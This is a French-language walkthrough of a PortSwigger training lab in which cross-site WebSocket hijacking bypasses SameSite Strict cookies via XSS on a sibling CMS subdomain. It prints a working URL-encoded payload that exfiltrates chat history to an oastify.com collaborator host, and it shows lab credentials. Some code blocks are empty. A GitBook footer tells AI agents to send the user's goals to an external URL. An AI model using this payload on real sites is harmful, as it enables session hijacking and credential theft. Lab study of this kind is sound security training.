> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-sibling-domain.md).
# Contournement de SameSite Strict via un domaine frère
Notes sur le contournement de SameSite Strict via un domaine frère pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.
### Contournement de SameSite Strict via un domaine frère
Lab : La fonctionnalité de chat en direct est vulnérable au détournement de WebSocket intersites (CSWSH). L’objectif du lab est d’accéder au compte de la victime en extrayant l’historique du chat vers le serveur Burp Collaborator par défaut ; l’historique contient des identifiants en clair.
Utilisez le serveur d’exploitation fourni pour lancer une attaque CSWSH qui exfiltre l’historique du chat de la victime.
Le chat fonctionne via WebSocket et l’historique y transite.
Le cookie de session est envoyé avec SameSite (ce qui bloque les scénarios classiques de redirection intersites).
Le fichier client JavaScript (par ex. `chat.js`) est chargé depuis un sous-domaine CMS qui renvoie un `Access-Control-Allow-Origin` en-tête autorisant les interactions depuis ce sous-domaine.
Le panneau d’authentification du CMS est vulnérable à l’injection de script via le `nom d’utilisateur` paramètre (par ex. `?username=&password=test`).
```javascript
```
```
/login?username=&password=test
```
À l’aide de cette injection, vous pouvez exécuter du JavaScript dans le contexte du sous-domaine vulnérable, établissant ainsi un WebSocket authentifié (les cookies sont alors envoyés, puisque l’origine est la même) vers le serveur de chat.
### Approche (résumé)
1. Placez un script malveillant dans le `nom d’utilisateur` paramètre du formulaire de connexion du sous-domaine CMS.
2. Ce script ouvre une connexion WebSocket au serveur de chat et envoie un `READY` signal.
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
3. Lors de la réception des messages du WebSocket (historique du chat), le `fetch` script encode ces données en base64 et les envoie à un serveur contrôlé par l’attaquant (OAST/Oastify).
```bash
/?data=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9
```
Hébergez/servez une redirection sur le serveur d’exploitation pour pousser la victime à visiter l’URL vulnérable (connexion avec `nom d’utilisateur` contenant le script).
```bash
echo "eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9" | base64 -d
```
#### Résultats observés
* Lorsque la requête exfiltrée a été reçue, le `données` paramètre contenait une chaîne base64 ; en la décodant, nous obtenons l’entrée du chat.
* Exemple de charge utile reçue (décodée en base64) :
```json
{"user":"CONNECTÉ","content":"-- Maintenant en discussion avec Hal Pline --"}
```
En injectant depuis le contexte authentifié (sous-domaine CMS), le script a transmis des messages contenant des conversations d’utilisateurs et, dans ce cas, un message contenant les identifiants en clair.
{% code overflow="wrap" %}
```
https://cms-0a5900a203763a50c2810c7a0074009d.web-security-academy.net/login?username=%3Cscript%3E+++var+ws+%3D+new+WebSocket%28%22https%3A%2F%2F0a5900a203763a50c2810c7a0074009d.web-security-academy.net%2Fchat%22%29%3B++++ws.onopen+%3D+function%28%29+%7B+++++ws.send%28%22READY%22%29%3B+++%7D%3B++++ws.onmessage+%3D+function%28info%29+%7B+++++fetch%28%22https%3A%2F%2F68cxlq1fllh96z60yqiw496jiao4cu0j.oastify.com%2F%3Fdata%3D%22+%2B+btoa%28info.data%29%29%3B+++%7D%3B+%3C%2Fscript%3E&password=ef
```
{% endcode %}
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
#### Identifiants extraits (comme noté)
* `carlos:hdf3fkk8h7tnltupqs5t` (identifiants trouvés dans l’historique du chat)
{% code overflow="wrap" %}
```json
{"user":"Hal Pline","content":"Pas de problème carlos, c'est hdf3fkk8h7tnltupqs5t"}
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/csrf/samesite-strict-bypass-via-sibling-domain.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
